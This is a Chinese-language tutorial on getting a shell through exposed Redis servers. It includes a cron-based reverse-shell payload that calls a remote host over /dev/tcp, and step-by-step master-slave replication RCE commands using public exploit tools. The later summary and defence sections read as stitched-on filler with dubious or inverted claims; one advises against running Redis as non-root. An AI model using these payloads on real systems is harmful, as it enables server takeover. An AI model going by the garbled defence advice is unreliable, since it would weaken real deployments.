Redis+Getshell的示例分析
前言:
通常情况下,当进行授权渗透测试时,即使尝试了传统漏洞攻击(如注入、文件上传等),却无法获得任何信息时,扫描端口还是可能会带来意料之外的收获。
知己知彼乃百战不殆,Redis介绍:简单来说 redis 就是一个Key-Value类型的数据库, redis 所有数据全部在内存中进行操作,并且它可以将内存中的数据定期存储在磁盘中,并且支持保存多种数据结构(String、hash、list等)。
运筹帷幄之中,Redis漏洞:1、未授权访问漏洞Redis在默认情况下,会绑定在0.0.0.0:6379,如果没有采用限制IP访问,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下,会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥进行远程连接等。
当拿到数据库权限是不会满足我们的,我们的目标只有一个getshell!
目前较主流的两个方法,第一种定时计划反弹shell、第二种利用主从复制rce。
2、定时计划反弹shell1)set x "
\n* * * * * bash -i >
&
/dev/tcp/1.1.1.1/888 0>
&
1\n"
2)config set dir /var/spool/cron/
3)config set dbfilename root
4)save
3、利用主从复制rce漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
需要利用一个工具,GitHub下载即可。
1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
2)git clone https://github.com/Ridter/redis-rce.git
进而通过未授权访问或者弱口令连接redis,执行脚本即可获取shell。
决胜千里之外,实战演练:本次扫到了6379也就是Redis,有的时候可能或改默认端口,建议全端口扫描,本次利用主从复制rce获取shell(由于该漏洞已提交src,签约保密协议,故搭建靶机还原真实环境,保证原汁原味。)
攻击端ip:192.168.109.134
服务端ip:192.168.109.136
通过未授权访问连接redis(如果有密码,可以尝试爆破,authpassword 登陆系统):Redis-cli –h ip利用主从复制rce获取shell
首先要生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。攻击端执行:
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
成功获取shell
一、Redis Getshell 简述
Redis Getshell,意为获取 Redis 系统中某一 Redis 实例的 Server 权限并执行 Shell 命令操作。攻击者通过代码注入或服务器漏洞等方式,直接修改某一Redis实例的配置文件,从而实现控制 Redis 服务器并执行 Shell 命令。
二、Redis Getshell 示例分析
攻击者一般通过如下几个步骤实现 Redis Getshell:
1、扫描获取目标机器的IP和端口,确定目标。
2、利用已知的Redis漏洞入侵目标,并获取服务器的权限。
3、修改 Redis 实例配置文件中的 bind 和 port 配置项,将 Redis 实例的 bind 绑定到外网的IP以及更改 Redis端口以方便使用 Telnet 进行远程连接。
4、开启 telnet(一种命令行界面协议) 服务,远程连接 Redis 数据库,并执行 Shell 命令,在退出时要将 Redis 停止和删除以掩人耳目,避免被发现和清除痕迹。
三、Redis Getshell 防御措施
在 Redis 防御 Redis Getshell 攻击方面,主要应从以下几个方面入手:
1、配置 Redis 实例监听端口和 IP
在配置 Redis实例的 bind和 port 时,最好不要将其绑定到全部网络接口,仅绑定到本地网络接口。在更改 Redis 的 port 时,也应当注意不要选择默认端口。这样可以有效防止外部的攻击者试图直接访问 Redis 实例。
2、Redis 实例权限限制
在 Redis 部署的过程中,应该尽可能避免将 Redis 实例的权限赋给非 root 用户。
3、正确的 Redis 实例配置
Redis 配置文件中有很多的字段,如 requirepass,masterauth,maxclients等,在保证业务需求的基础上,应根据实际情况对它们进行配置。
4、升级 Redis 版本
尽可能升级最新版本 Redis ,即使在 Redis 出现漏洞时,已出现了补丁可以及时进行修复。
四、总结
Redis Getshell 教会我们,从平日的日常系统运维中获取一些关键信息、保持常态安全管理和系统的修复能力不会辜负系统运维安全工程师们的辛勤努力。
Redis Getshell 必须得重视的原因是 Redis 被广泛应用到现代化web应用中,而网络犯罪者用各种手法通过 Redis 进行攻击。纵容安全威胁的存在意味着将系统威胁和风险变为常规操作。我们需要积极的、有意识的进行 Redis 安全监控、防护和防范,才能减少因 Redis Getshell 得到的某个Shell而带来系统的彻底瘫痪。